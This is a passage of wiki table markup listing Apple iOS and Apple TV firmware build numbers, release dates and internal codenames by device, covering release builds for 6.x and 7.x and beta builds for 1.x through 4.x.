| colspan="2" {{n/a}}
| [[Sundance 10A403 (iPod touch 4G)|6.0]]
| {{n/a}}
|-
! style="text-align:left;" | 10A405
| colspan="21" {{n/a}}
| [[Sundance 10A405 (iPhone 5 GSM)|6.0]]
| [[Sundance 10A405 (iPhone 5 Global)|6.0]]
| colspan="2" {{n/a}}
|-
! style="text-align:left;" rowspan="2" | 10A406
| colspan="24" {{n/a}}
| [[Sundance 10A406 (iPod touch 5G)|6.0]]
|-
| 30 Oct 2012
| colspan="13" {{n/a}}
| [[Sundance 10A406 (iPad mini 1G Wi-Fi)|6.0]]
| colspan="11" {{n/a}}
|-
| 24 Sep 2012
! style="text-align:left;" | 10A406e
| [[Sundance 10A406e (Apple TV 2G)|5.1]]
| [[Sundance 10A406e (Apple TV 3G)|5.1]]
| colspan="23" {{n/a}}
|-
| 30 Oct 2012
! style="text-align:left;" | 10A407
| colspan="10" {{n/a}}
| [[Sundance 10A407 (iPad 4 Wi-Fi)|6.0]]
| colspan="14" {{n/a}}
|-
| rowspan="2" | 1 Nov 2012
! style="text-align:left;" | 10A523
| colspan="3" {{n/a}}
| [[Sundance 10A523 (iPad 2 Wi-Fi)|6.0.1]]
| [[Sundance 10A523 (iPad 2 GSM)|6.0.1]]
| [[Sundance 10A523 (iPad 2 CDMA)|6.0.1]]
| [[Sundance 10A523 (iPad 2 Wi-Fi Rev A)|6.0.1]]
| [[Sundance 10A523 (iPad 3 Wi-Fi)|6.0.1]]
| [[Sundance 10A523 (iPad 3 GSM)|6.0.1]]
| [[Sundance 10A523 (iPad 3 CDMA)|6.0.1]]
| [[Sundance 10A523 (iPad 4 Wi-Fi)|6.0.1]]
| colspan="2" {{n/a}}
| [[Sundance 10A523 (iPad mini 1G Wi-Fi)|6.0.1]]
| colspan="2" {{n/a}}
| [[Sundance 10A523 (iPhone 3GS)|6.0.1]]
| [[Sundance 10A523 (iPhone 4 GSM)|6.0.1]]
| [[Sundance 10A523 (iPhone 4 GSM Rev A)|6.0.1]]
| [[Sundance 10A523 (iPhone 4 CDMA)|6.0.1]]
| [[Sundance 10A523 (iPhone 4S)|6.0.1]]
| colspan="2" {{n/a}}
| [[Sundance 10A523 (iPod touch 4G)|6.0.1]]
| [[Sundance 10A523 (iPod touch 5G)|6.0.1]]
|-
! style="text-align:left;" | 10A525
| colspan="21" {{n/a}}
| [[Sundance 10A525 (iPhone 5 GSM)|6.0.1]]
| [[Sundance 10A525 (iPhone 5 Global)|6.0.1]]
| colspan="2" {{n/a}}
|-
| 9 Nov 2012
! style="text-align:left;" | 10A8426
| colspan="11" {{n/a}}
| [[SundanceTaos 10A8426 (iPad 4 GSM)|6.0.1]]
| [[SundanceTaos 10A8426 (iPad 4 Global)|6.0.1]]
| {{n/a}}
| [[SundanceTaos 10A8426 (iPad mini 1G GSM)|6.0.1]]
| [[SundanceTaos 10A8426 (iPad mini 1G Global)|6.0.1]]
| colspan="9" {{n/a}}
|-
| 26 Nov 2012
! style="text-align:left;" | 10A831
| [[SundanceTide 10A831 (Apple TV 2G)|5.1.1]]
| [[SundanceTide 10A831 (Apple TV 3G)|5.1.1]]
| [[SundanceTide 10A831 (Apple TV 3G Rev A)|5.1.1]]
| colspan="22" {{n/a}}
|-
| rowspan="3" | 19 Dec 2012
! style="text-align:left;" | 10A550
| colspan="13" {{n/a}}
| [[Sundance 10A550 (iPad mini 1G Wi-Fi)|6.0.2]]
| colspan="11" {{n/a}}
|-
! style="text-align:left;" | 10A551
| colspan="21" {{n/a}}
| [[Sundance 10A551 (iPhone 5 GSM)|6.0.2]]
| [[Sundance 10A551 (iPhone 5 Global)|6.0.2]]
| colspan="2" {{n/a}}
|-
! style="text-align:left;" | 10A8550
| colspan="14" {{n/a}}
| [[SundanceTaos 10A8500 (iPad mini 1G GSM)|6.0.2]]
| [[SundanceTaos 10A8500 (iPad mini 1G Global)|6.0.2]]
| colspan="9" {{n/a}}
|-
| rowspan="5" | 28 Jan 2013
! style="text-align:left;" | 10B141
| colspan="3" {{n/a}}
| [[Brighton 10B141 (iPad 2 Wi-Fi)|6.1]]
| [[Brighton 10B141 (iPad 2 GSM)|6.1]]
| [[Brighton 10B141 (iPad 2 CDMA)|6.1]]
| [[Brighton 10B141 (iPad 2 Wi-Fi Rev A)|6.1]]
| [[Brighton 10B141 (iPad 3 Wi-Fi)|6.1]]
| [[Brighton 10B141 (iPad 3 CDMA)|6.1]]
| [[Brighton 10B141 (iPad 3 Global)|6.1]]
| [[Brighton 10B141 (iPad 4 Wi-Fi)|6.1]]
| [[Brighton 10B141 (iPad 4 GSM)|6.1]]
| [[Brighton 10B141 (iPad 4 Global)|6.1]]
| [[Brighton 10B141 (iPad mini 1G Wi-Fi)|6.1]]
| [[Brighton 10B141 (iPad mini 1G GSM)|6.1]]
| [[Brighton 10B141 (iPad mini 1G Global)|6.1]]
| [[Brighton 10B141 (iPhone 3GS)|6.1]]
| colspan="2" {{n/a}}
| [[Brighton 10B141 (iPhone 4 CDMA)|6.1]]
| colspan="4" {{n/a}}
| [[Brighton 10B141 (iPod touch 5G)|6.1]]
|-
! style="text-align:left;" | 10B142
| colspan="20" {{n/a}}
| [[Brighton 10B142 (iPhone 4S)|6.1]]
| colspan="7" {{n/a}}
|-
! style="text-align:left;" | 10B143
| colspan="21" {{n/a}}
| [[Brighton 10B143 (iPhone 5 GSM)|6.1]]
| [[Brighton 10B143 (iPhone 5 Global)|6.1]]
| colspan="2" {{n/a}}
|-
! style="text-align:left;" | 10B144
| colspan="17" {{n/a}}
| [[Brighton 10B144 (iPhone 4 GSM)|6.1]]
| [[Brighton 10B144 (iPhone 4 GSM Rev A)|6.1]]
| colspan="4" {{n/a}}
| [[Brighton 10B144 (iPod touch 4G)|6.1]]
| colspan="1" {{n/a}}
|-
! style="text-align:left;" | 10B144b
| [[Brighton 10B144b (Apple TV 2G)|5.2]]
| [[Brighton 10B144b (Apple TV 3G)|5.2]]
| [[Brighton 10B144b (Apple TV 3G Rev A)|5.2]]
| colspan="22" {{n/a}}
|-
| 11 Feb 2013
! style="text-align:left;" | 10B145
| colspan="20" {{n/a}}
| [[Brighton 10B145 (iPhone 4S)|6.1.1]]
| colspan="4" {{n/a}}
|-
| rowspan="2" | 19 Feb 2013
! style="text-align:left;" | 10B146
| colspan="3" {{n/a}}
| [[Brighton 10B146 (iPad 2 Wi-Fi)|6.1.2]]
| [[Brighton 10B146 (iPad 2 GSM)|6.1.2]]
| [[Brighton 10B146 (iPad 2 CDMA)|6.1.2]]
| [[Brighton 10B146 (iPad 2 Wi-Fi Rev A)|6.1.2]]
| [[Brighton 10B146 (iPad 3 Wi-Fi)|6.1.2]]
| [[Brighton 10B146 (iPad 3 CDMA)|6.1.2]]
| [[Brighton 10B146 (iPad 3 Global)|6.1.2]]
| [[Brighton 10B146 (iPad 4 Wi-Fi)|6.1.2]]
| colspan="2" {{n/a}}
| [[Brighton 10B146 (iPad mini 1G Wi-Fi)|6.1.2]]
| colspan="2" {{n/a}}
| [[Brighton 10B146 (iPhone 3GS)|6.1.2]]
| [[Brighton 10B146 (iPhone 4 GSM)|6.1.2]]
| [[Brighton 10B146 (iPhone 4 GSM Rev A)|6.1.2]]
| [[Brighton 10B146 (iPhone 4 CDMA)|6.1.2]]
| [[Brighton 10B146 (iPhone 4S)|6.1.2]]
| [[Brighton 10B146 (iPhone 5 GSM)|6.1.2]]
| [[Brighton 10B146 (iPhone 5 Global)|6.1.2]]
| [[Brighton 10B146 (iPod touch 4G)|6.1.2]]
| [[Brighton 10B146 (iPod touch 5G)|6.1.2]]
|-
! style="text-align:left;" | 10B147
| colspan="11" {{n/a}}
| [[Brighton 10B147 (iPad 4 GSM)|6.1.2]]
| [[Brighton 10B147 (iPad 4 Global)|6.1.2]]
| colspan="1" {{n/a}}
| [[Brighton 10B147 (iPad 4 GSM)|6.1.2]]
| [[Brighton 10B147 (iPad 4 Global)|6.1.2]]
| colspan="9" {{n/a}}
|-
| rowspan="2" | 19 Mar 2013
! style="text-align:left;" | 10B329
| colspan="3" {{n/a}}
| [[BrightonMaps 10B329 (iPad 2 Wi-Fi)|6.1.3]]
| [[BrightonMaps 10B329 (iPad 2 GSM)|6.1.3]]
| [[BrightonMaps 10B329 (iPad 2 CDMA)|6.1.3]]
| [[BrightonMaps 10B329 (iPad 2 Wi-Fi Rev A)|6.1.3]]
| [[BrightonMaps 10B329 (iPad 3 Wi-Fi)|6.1.3]]
| [[BrightonMaps 10B329 (iPad 3 GSM)|6.1.3]]
| [[BrightonMaps 10B329 (iPad 3 CDMA)|6.1.3]]
| [[BrightonMaps 10B329 (iPad 4 Wi-Fi)|6.1.3]]
| [[BrightonMaps 10B329 (iPad 4 CDMA)|6.1.3]]
| [[BrightonMaps 10B329 (iPad 4 Global)|6.1.3]]
| [[BrightonMaps 10B329 (iPad mini 1G Wi-Fi)|6.1.3]]
| [[BrightonMaps 10B329 (iPad mini 1G GSM)|6.1.3]]
| [[BrightonMaps 10B329 (iPad mini 1G Global)|6.1.3]]
| [[BrightonMaps 10B329 (iPhone 3GS)|6.1.3]]
| [[BrightonMaps 10B329 (iPhone 4 GSM)|6.1.3]]
| [[BrightonMaps 10B329 (iPhone 4 GSM Rev A)|6.1.3]]
| [[BrightonMaps 10B329 (iPhone 4 CDMA)|6.1.3]]
| [[BrightonMaps 10B329 (iPhone 4S)|6.1.3]]
| [[BrightonMaps 10B329 (iPhone 5 GSM)|6.1.3]]
| [[BrightonMaps 10B329 (iPhone 5 Global)|6.1.3]]
| [[BrightonMaps 10B329 (iPod touch 4G)|6.1.3]]
| [[BrightonMaps 10B329 (iPod touch 5G)|6.1.3]]
|-
! style="text-align:left;" | 10B329a
| [[BrightonMaps 10B329a (Apple TV 2G)|5.2.1]]
| [[BrightonMaps 10B329a (Apple TV 3G)|5.2.1]]
| [[BrightonMaps 10B329a (Apple TV 3G Rev A)|5.2.1]]
| colspan="22" {{n/a}}
|-
| 2 May 2013
! style="text-align:left;" | 10B350
| colspan="21" {{n/a}}
| [[BrightonMaps 10B350 (iPhone 5 GSM)|6.1.4]]
| [[BrightonMaps 10B350 (iPhone 5 Global)|6.1.4]]
| colspan="2" {{n/a}}
|-
| 19 Jun 2013
! style="text-align:left;" | 10B809
| [[BrightonTide 10B809 (Apple TV 2G)|5.3]]
| [[BrightonTide 10B809 (Apple TV 3G)|5.3]]
| [[BrightonTide 10B809 (Apple TV 3G Rev A)|5.3]]
| colspan="22" {{n/a}}
|-
| 14 Nov 2013
! style="text-align:left;" | 10B400
| colspan="23" {{n/a}}
| [[BrightonMaps 10B400 (iPod touch 4G)|6.1.5]]
| {{n/a}}
|}

==== 7.x ====
{| class="wikitable"
|-
! rowspan="3" | Date
! rowspan="3" | Build
! colspan="3" | [[Apple TV]]
! colspan="12" | [[iPad]]
! colspan="5" | [[iPad mini]]
! colspan="10" | [[iPhone]]
! colspan="1" | [[iPod touch]]
|-
! rowspan="2" | [[k66ap|2G]]
! colspan="2" | [[Apple TV 3G|3G]]
! colspan="4" | [[iPad 2|2]]
! colspan="3" | [[iPad 3|3]]
! colspan="3" | [[iPad 4|4]]
! colspan="2" | [[iPad Air|Air]]
! colspan="3" | [[iPad mini 1G|1G]]
! colspan="2" | [[iPad mini 2G|2G]]
! colspan="3" | [[iPhone 4|4]]
! rowspan="2" | [[n94ap|4S]]
! colspan="2" | [[iPhone 5|5]]
! colspan="2" | [[iPhone 5c|5c]]
! colspan="2" | [[iPhone 5s|5s]]
! rowspan="2" | [[iPod touch 5G|5G]]
|-
! [[j33ap|Orig]]
! [[j33iap|Rev A]]
! [[k93ap|Wi‑Fi]]
! [[k94ap|GSM]]
! [[k95ap|CDMA]]
! [[k93aap|Wi‑Fi (A)]]
! [[j1ap|Wi‑Fi]]
! [[j2ap|CDMA]]
! [[j2aap|Global]]
! [[p101ap|Wi‑Fi]]
! [[p102ap|GSM]]
! [[p103ap|Global]]
! [[j71ap|Wi‑Fi]]
! [[j72ap|Cellular]]
! [[p105ap|Wi‑Fi]]
! [[p106ap|GSM]]
! [[p107ap|Global]]
! [[j85ap|Wi‑Fi]]
! [[j86ap|Cellular]]
! [[n90ap|GSM]]
! [[n90bap|GSM (A)]]
! [[n92ap|CDMA]]
! [[n41ap|GSM]]
! [[n42ap|Global]]
! [[n48ap|GSM]]
! [[n49ap|Global]]
! [[n51ap|GSM]]
! class="rborderplz" | [[n53ap|Global]]
|-
| rowspan="3" | 18 Sep 2013
! style="text-align:left;" | 11A465
| colspan="3" {{n/a}}
| [[Innsbruck 11A465 (iPad 2 Wi-Fi)|7.0]]
| [[Innsbruck 11A465 (iPad 2 GSM)|7.0]]
| [[Innsbruck 11A465 (iPad 2 CDMA)|7.0]]
| [[Innsbruck 11A465 (iPad 2 Wi-Fi Rev A)|7.0]]
| [[Innsbruck 11A465 (iPad 3 Wi-Fi)|7.0]]
| [[Innsbruck 11A465 (iPad 3 CDMA)|7.0]]
| [[Innsbruck 11A465 (iPad 3 Global)|7.0]]
| [[Innsbruck 11A465 (iPad 4 Wi-Fi)|7.0]]
| [[Innsbruck 11A465 (iPad 4 GSM)|7.0]]
| [[Innsbruck 11A465 (iPad 4 Global)|7.0]]
| colspan="2" {{n/a}}
| [[Innsbruck 11A465 (iPad mini 1G Wi-Fi)|7.0]]
| [[Innsbruck 11A465 (iPad mini 1G GSM)|7.0]]
| [[Innsbruck 11A465 (iPad mini 1G Global)|7.0]]
| colspan="2" {{n/a}}
| [[Innsbruck 11A465 (iPhone 4 GSM)|7.0]]
| [[Innsbruck 11A465 (iPhone 4 GSM Rev A)|7.0]]
| [[Innsbruck 11A465 (iPhone 4 CDMA)|7.0]]
| [[Innsbruck 11A465 (iPhone 4S)|7.0]]
| [[Innsbruck 11A465 (iPhone 5 GSM)|7.0]]
| [[Innsbruck 11A465 (iPhone 5 Global)|7.0]]
| colspan="4" {{n/a}}
| [[Innsbruck 11A465 (iPod touch 5G)|7.0]]
|-
! style="text-align:left;" | 11A466
| rowspan="2" colspan="26" {{n/a}}
| [[Innsbruck 11A466 (iPhone 5c GSM)|7.0]]
| [[Innsbruck 11A466 (iPhone 5c Global)|7.0]]
| [[Innsbruck 11A466 (iPhone 5s GSM)|7.0]]
| [[Innsbruck 11A466 (iPhone 5s Global)|7.0]]
| rowspan="2" {{n/a}}
|-
! style="text-align:left;" | 11A470a
| [[Innsbruck 11A470a (iPhone 5c GSM)|7.0.1]]
| [[Innsbruck 11A470a (iPhone 5c Global)|7.0.1]]
| [[Innsbruck 11A470a (iPhone 5s GSM)|7.0.1]]
| class="rborderplz" | [[Innsbruck 11A470a (iPhone 5s Global)|7.0.1]]
|-
| 20 Sep 2013
! style="text-align:left;" | 11A470e
| [[Innsbruck 11A470e (Apple TV 2G)|6.0]]
| [[Innsbruck 11A470e (Apple TV 3G)|6.0]]
| [[Innsbruck 11A470e (Apple TV 3G Rev A)|6.0]]
| colspan="28" {{n/a}}
|-
| 26 Sep 2013
! style="text-align:left;" | 11A501
| colspan="3" {{n/a}}
| [[Innsbruck 11A501 (iPad 2 Wi-Fi)|7.0.2]]
| [[Innsbruck 11A501 (iPad 2 GSM)|7.0.2]]
| [[Innsbruck 11A501 (iPad 2 CDMA)|7.0.2]]
| [[Innsbruck 11A501 (iPad 2 Wi-Fi Rev A)|7.0.2]]
| [[Innsbruck 11A501 (iPad 3 Wi-Fi)|7.0.2]]
| [[Innsbruck 11A501 (iPad 3 CDMA)|7.0.2]]
| [[Innsbruck 11A501 (iPad 3 Global)|7.0.2]]
| [[Innsbruck 11A501 (iPad 4 Wi-Fi)|7.0.2]]
| [[Innsbruck 11A501 (iPad 4 GSM)|7.0.2]]
| [[Innsbruck 11A501 (iPad 4 Global)|7.0.2]]
| colspan="2" {{n/a}}
| [[Innsbruck 11A501 (iPad mini 1G Wi-Fi)|7.0.2]]
| [[Innsbruck 11A501 (iPad mini 1G GSM)|7.0.2]]
| [[Innsbruck 11A501 (iPad mini 1G Global)|7.0.2]]
| colspan="2" {{n/a}}
| [[Innsbruck 11A501 (iPhone 4 GSM)|7.0.2]]
| [[Innsbruck 11A501 (iPhone 4 GSM Rev A)|7.0.2]]
| [[Innsbruck 11A501 (iPhone 4 CDMA)|7.0.2]]
| [[Innsbruck 11A501 (iPhone 4S)|7.0.2]]
| [[Innsbruck 11A501 (iPhone 5 GSM)|7.0.2]]
| [[Innsbruck 11A501 (iPhone 5 Global)|7.0.2]]
| [[Innsbruck 11A501 (iPhone 5c GSM)|7.0.2]]
| [[Innsbruck 11A501 (iPhone 5c Global)|7.0.2]]
| [[Innsbruck 11A501 (iPhone 5s GSM)|7.0.2]]
| [[Innsbruck 11A501 (iPhone 5s Global)|7.0.2]]
| [[Innsbruck 11A501 (iPod touch 5G)|7.0.2]]
|-
| 23 Sep 2013
! style="text-align:left;" | 11A502
| [[Innsbruck 11A502 (Apple TV 2G)|6.0]]
| [[Innsbruck 11A502 (Apple TV 3G)|6.0]]
| [[Innsbruck 11A502 (Apple TV 3G Rev A)|6.0]]
| colspan="28" {{n/a}}
|-
| 22 Oct 2013
! style="text-align:left;" | 11B511
| colspan="3" {{n/a}}
| [[InnsbruckTaos 11B511 (iPad 2 Wi-Fi)|7.0.3]]
| [[InnsbruckTaos 11B511 (iPad 2 GSM)|7.0.3]]
| [[InnsbruckTaos 11B511 (iPad 2 CDMA)|7.0.3]]
| [[InnsbruckTaos 11B511 (iPad 2 Wi-Fi Rev A)|7.0.3]]
| [[InnsbruckTaos 11B511 (iPad 3 Wi-Fi)|7.0.3]]
| [[InnsbruckTaos 11B511 (iPad 3 CDMA)|7.0.3]]
| [[InnsbruckTaos 11B511 (iPad 3 Global)|7.0.3]]
| [[InnsbruckTaos 11B511 (iPad 4 Wi-Fi)|7.0.3]]
| [[InnsbruckTaos 11B511 (iPad 4 GSM)|7.0.3]]
| [[InnsbruckTaos 11B511 (iPad 4 Global)|7.0.3]]
| [[InnsbruckTaos 11B511 (iPad mini 1G Wi-Fi)|7.0.3]]
| [[InnsbruckTaos 11B511 (iPad mini 1G GSM)|7.0.3]]
| [[InnsbruckTaos 11B511 (iPad mini 1G Global)|7.0.3]]
| [[InnsbruckTaos 11B511 (iPad Air Wi-Fi)|7.0.3]]
| [[InnsbruckTaos 11B511 (iPad Air Cellular)|7.0.3]]
| [[InnsbruckTaos 11B511 (iPad mini Retina Wi-Fi)|7.0.3]]
| [[InnsbruckTaos 11B511 (iPad mini Retina Cellular)|7.0.3]]
| [[InnsbruckTaos 11B511 (iPhone 4 GSM)|7.0.3]]
| [[InnsbruckTaos 11B511 (iPhone 4 GSM Rev A)|7.0.3]]
| [[InnsbruckTaos 11B511 (iPhone 4 CDMA)|7.0.3]]
| [[InnsbruckTaos 11B511 (iPhone 4S)|7.0.3]]
| [[InnsbruckTaos 11B511 (iPhone 5 GSM)|7.0.3]]
| [[InnsbruckTaos 11B511 (iPhone 5 Global)|7.0.3]]
| [[InnsbruckTaos 11B511 (iPhone 5c GSM)|7.0.3]]
| [[InnsbruckTaos 11B511 (iPhone 5c Global)|7.0.3]]
| [[InnsbruckTaos 11B511 (iPhone 5s GSM)|7.0.3]]
| [[InnsbruckTaos 11B511 (iPhone 5s Global)|7.0.3]]
| [[InnsbruckTaos 11B511 (iPod touch 5G)|7.0.3]]
|-
| 24 Oct 2013
! style="text-align:left;" | 11B511d
| [[Innsbruck 11B511d (Apple TV 2G)|6.0.1]]
| [[Innsbruck 11B511d (Apple TV 3G)|6.0.1]]
| [[Innsbruck 11B511d (Apple TV 3G Rev A)|6.0.1]]
| colspan="28" {{n/a}}
|-
| 14 Oct 2013
! style="text-align:left;" | 11B554a
| [[Innsbruck 11B554a (Apple TV 2G)|6.0.2]]
| [[Innsbruck 11B554a (Apple TV 3G)|6.0.2]]
| [[Innsbruck 11B554a (Apple TV 3G Rev A)|6.0.2]]
| [[InnsbruckTaos 11B554a (iPad 2 Wi-Fi)|7.0.4]]
| [[InnsbruckTaos 11B554a (iPad 2 GSM)|7.0.4]]
| [[InnsbruckTaos 11B554a (iPad 2 CDMA)|7.0.4]]
| [[InnsbruckTaos 11B554a (iPad 2 Wi-Fi Rev A)|7.0.4]]
| [[InnsbruckTaos 11B554a (iPad 3 Wi-Fi)|7.0.4]]
| [[InnsbruckTaos 11B554a (iPad 3 CDMA)|7.0.4]]
| [[InnsbruckTaos 11B554a (iPad 3 Global)|7.0.4]]
| [[InnsbruckTaos 11B554a (iPad 4 Wi-Fi)|7.0.4]]
| [[InnsbruckTaos 11B554a (iPad 4 GSM)|7.0.4]]
| [[InnsbruckTaos 11B554a (iPad 4 Global)|7.0.4]]
| [[InnsbruckTaos 11B554a (iPad mini 1G Wi-Fi)|7.0.4]]
| [[InnsbruckTaos 11B554a (iPad mini 1G GSM)|7.0.4]]
| [[InnsbruckTaos 11B554a (iPad mini 1G Global)|7.0.4]]
| [[InnsbruckTaos 11B554a (iPad Air Wi-Fi)|7.0.4]]
| [[InnsbruckTaos 11B554a (iPad Air Cellular)|7.0.4]]
| [[InnsbruckTaos 11B554a (iPad mini Retina Wi-Fi)|7.0.4]]
| [[InnsbruckTaos 11B554a (iPad mini Retina Cellular)|7.0.4]]
| [[InnsbruckTaos 11B554a (iPhone 4 GSM)|7.0.4]]
| [[InnsbruckTaos 11B554a (iPhone 4 GSM Rev A)|7.0.4]]
| [[InnsbruckTaos 11B554a (iPhone 4 CDMA)|7.0.4]]
| [[InnsbruckTaos 11B554a (iPhone 4S)|7.0.4]]
| [[InnsbruckTaos 11B554a (iPhone 5 GSM)|7.0.4]]
| [[InnsbruckTaos 11B554a (iPhone 5 Global)|7.0.4]]
| [[InnsbruckTaos 11B554a (iPhone 5c GSM)|7.0.4]]
| [[InnsbruckTaos 11B554a (iPhone 5c Global)|7.0.4]]
| [[InnsbruckTaos 11B554a (iPhone 5s GSM)|7.0.4]]
| [[InnsbruckTaos 11B554a (iPhone 5s Global)|7.0.4]]
| [[InnsbruckTaos 11B554a (iPod touch 5G)|7.0.4]]
|}

=== Beta ===
{{main|Beta Firmware}}
==== 1.x/2.x ====
{| class="wikitable"
|-
! rowspan="2" | Date
! rowspan="2" | Build
! colspan="2" | [[iPhone]]
! [[iPod touch]]
|-
! [[m68ap|2G]]
! [[n82ap|3G]]
! [[n45ap|1G]]
|-
| 6 Mar 2008
! style="text-align:left;" | 5A147p
| [[Big Bear 5A147p (iPhone)|1.2b]]
| rowspan="13" {{n/a}}
| [[Big Bear 5A147p (iPod touch)|1.2b]]
|-
| 27 Mar 2008
! style="text-align:left;" | 5A225c
| [[Big Bear 5A225c (iPhone)|2.0b2]]
| [[Big Bear 5A225c (iPod touch)|2.0b2]]
|-
| 8 Apr 2008
! style="text-align:left;" | 5A240d
| [[Big Bear 5A240d (iPhone)|2.0b3]]
| [[Big Bear 5A240d (iPod touch)|2.0b3]]
|-
| 23 Apr 2008
! style="text-align:left;" | 5A258f
| [[Big Bear 5A258f (iPhone)|2.0b4]]
| [[Big Bear 5A258f (iPod touch)|2.0b4]]
|-
| 6 May 2008
! style="text-align:left;" | 5A274d
| [[Big Bear 5A274d (iPhone)|2.0b5]]
| [[Big Bear 5A274d (iPod touch)|2.0b5]]
|-
| 28 May 2008
! style="text-align:left;" | 5A292g
| [[Big Bear 5A292g (iPhone)|2.0b6P]]
| [[Big Bear 5A292g (iPod touch)|2.0b6P]]
|-
| 29 May 2008
! style="text-align:left;" | 5A308
| [[Big Bear 5A308 (iPhone)|2.0b6F]]
| [[Big Bear 5A308 (iPod touch)|2.0b6F]]
|-
| 9 Jun 2008
! style="text-align:left;" | 5A331
| [[Big Bear 5A331 (iPhone)|2.0b7]]
| [[Big Bear 5A331 (iPod touch)|2.0b7]]
|-
| 26 Jun 2008
! style="text-align:left;" | 5A345
| [[Big Bear 5A345 (iPhone)|2.0GM]]
| [[Big Bear 5A345 (iPod touch)|2.0GM]]
|-
| 24 Jul 2008
! style="text-align:left;" | 5F90
| [[Sugar Bowl 5F90 (iPhone)|2.1b]]
| [[Sugar Bowl 5F90 (iPod touch)|2.1b]]
|-
| 30 Jul 2008
! style="text-align:left;" | ?
| 2.1b2
| 2.1b2
|-
| 8 Aug 2008
! style="text-align:left;" | ?
| 2.1b3
| 2.1b3
|-
| 16 Aug 2008
! style="text-align:left;" | ?
| 2.1b4
| 2.1b4
|-
| 25 Sep 2008
! style="text-align:left;" | 5G29
| [[Timberline 5G29 (iPhone)|2.2b]]
| [[Timberline 5G29 (iPhone 3G)|2.2b]]
| [[Timberline 5G29 (iPod touch)|2.2b]]
|-
| 20 Oct 2008
! style="text-align:left;" | 5G53
| [[Timberline 5G53 (iPhone)|2.2b2]]
| [[Timberline 5G53 (iPhone 3G)|2.2b2]]
| [[Timberline 5G53 (iPod touch)|2.2b2]]
|}

==== 3.x ====
{| class="wikitable"
|-
! rowspan="2" | Date
! rowspan="2" | Build
! colspan="3" | [[iPhone]]
! colspan="2" | [[iPod touch]]
|-
! [[m68ap|2G]]
! [[n82ap|3G]]
! [[n88ap|3GS]]
! [[n45ap|1G]]
! [[n72ap|2G]]
|-
| 17 Mar 2009
! style="text-align:left;" | 7A238j
| [[KirkVail 7A238j (iPhone)|3.0b]]
| [[KirkVail 7A238j (iPhone 3G)|3.0b]]
| class="nobborderplz" rowspan="6" {{n/a}}
| [[KirkVail 7A238j (iPod touch)|3.0b]]
| [[KirkVail 7A238j (iPod touch 2G)|3.0b]]
|-
| 31 Mar 2009
! style="text-align:left;" | 7A259g
| [[KirkVail 7A259g (iPhone)|3.0b2]]
| [[KirkVail 7A259g (iPhone 3G)|3.0b2]]
| [[KirkVail 7A259g (iPod touch)|3.0b2]]
| [[KirkVail 7A259g (iPod touch 2G)|3.0b2]]
|-
| 14 Apr 2009
! style="text-align:left;" | 7A280f
| [[KirkVail 7A280f (iPhone)|3.0b3]]
| [[KirkVail 7A280f (iPhone 3G)|3.0b3]]
| [[KirkVail 7A280f (iPod touch)|3.0b3]]
| [[KirkVail 7A280f (iPod touch 2G)|3.0b3]]
|-
| 28 Apr 2009
! style="text-align:left;" | 7A300g
| [[KirkVail 7A300g (iPhone)|3.0b4]]
| [[KirkVail 7A300g (iPhone 3G)|3.0b4]]
| [[KirkVail 7A300g (iPod touch)|3.0b4]]
| [[KirkVail 7A300g (iPod touch 2G)|3.0b4]]
|-
| 6 May 2009
! style="text-align:left;" | 7A312g
| [[KirkVail 7A312g (iPhone)|3.0b5]]
| [[KirkVail 7A312g (iPhone 3G)|3.0b5]]
| [[KirkVail 7A312g (iPod touch)|3.0b5]]
| [[KirkVail 7A312g (iPod touch 2G)|3.0b5]]
|-
| 8 Jun 2009
! style="text-align:left;" | 7A341
| [[Kirkwood 7A341 (iPhone)|3.0GM]]
| [[Kirkwood 7A341 (iPhone 3G)|3.0GM]]
| [[Kirkwood 7A341 (iPod touch)|3.0GM]]
| [[Kirkwood 7A341 (iPod touch 2G)|3.0GM]]
|-
| 30 Jun 2009
! style="text-align:left;" | 7C97d
| [[NorthVail 7C97d (iPhone)|3.1b]]
| [[NorthVail 7C97d (iPhone 3G)|3.1b]]
| [[NorthVail 7C97d (iPhone 3GS)|3.1b]]
| [[NorthVail 7C97d (iPod touch)|3.1b]]
| [[NorthVail 7C97d (iPod touch 2G)|3.1b]]
|-
| 14 Jul 2009
! style="text-align:left;" | 7C106c
| [[NorthVail 7C106c (iPhone)|3.1b2]]
| [[NorthVail 7C106c (iPhone 3G)|3.1b2]]
| [[NorthVail 7C106c (iPhone 3GS)|3.1b2]]
| [[NorthVail 7C106c (iPod touch)|3.1b2]]
| [[NorthVail 7C106c (iPod touch 2G)|3.1b2]]
|-
| 27 Jul 2009
! style="text-align:left;" | 7C116a
| [[NorthVail 7C116a (iPhone)|3.1b3]]
| [[NorthVail 7C116a (iPhone 3G)|3.1b3]]
| [[NorthVail 7C116a (iPhone 3GS)|3.1b3]]
| [[NorthVail 7C116a (iPod touch)|3.1b3]]
| [[NorthVail 7C116a (iPod touch 2G)|3.1b3]]
|}

==== 4.x ====
{| class="wikitable"
|-
! rowspan="3" | Date
! rowspan="3" | Build
! [[Apple TV]]
! [[iPad]]
! colspan="3" | [[iPhone]]
! colspan="3" | [[iPod touch]]
|-
! rowspan="2" | [[k66ap|2G]]
! rowspan="2" | [[k48ap|1G]]
! rowspan="2" | [[n82ap|3G]]
! rowspan="2" | [[n88ap|3GS]]
! [[iPhone 4|4]]
! rowspan="2" | [[n72ap|2G]]
! rowspan="2" | [[n18ap|3G]]
! rowspan="2" | [[n81ap|4G]]
|-
! class="rborderplz" | [[n90ap|GSM]]
|-
| 8 Apr 2010
! style="text-align:left;" | 8A230m
| colspan="2" rowspan="9" {{n/a}}
| [[ApexVail 8A230m (iPhone 3G)|4.0b]]
| [[ApexVail 8A230m (iPhone 3GS)|4.0b]]
| rowspan="5" {{n/a}}
| [[ApexVail 8A230m (iPod touch 2G)|4.0b]]
| [[ApexVail 8A230m (iPod touch 3G)|4.0b]]
| rowspan="9" {{n/a}}
|-
| 20 Apr 2010
! style="text-align:left;" | 8A248c
| [[ApexVail 8A248c (iPhone 3G)|4.0b2]]
| [[ApexVail 8A248c (iPhone 3GS)|4.0b2]]
| [[ApexVail 8A248c (iPod touch 2G)|4.0b2]]
| class="rborderplz" | [[ApexVail 8A248c (iPod touch 3G)|4.0b2]]
|-
| 4 May 2010
! style="text-align:left;" | 8A260b
| [[ApexVail 8A260b (iPhone 3G)|4.0b3]]
| [[ApexVail 8A260b (iPhone 3GS)|4.0b3]]
| [[ApexVail 8A260b (iPod touch 2G)|4.0b3]]
| class="rborderplz" | [[ApexVail 8A260b (iPod touch 3G)|4.0b3]]
|-
| 18 May 2010
! style="text-align:left;" | 8A274b
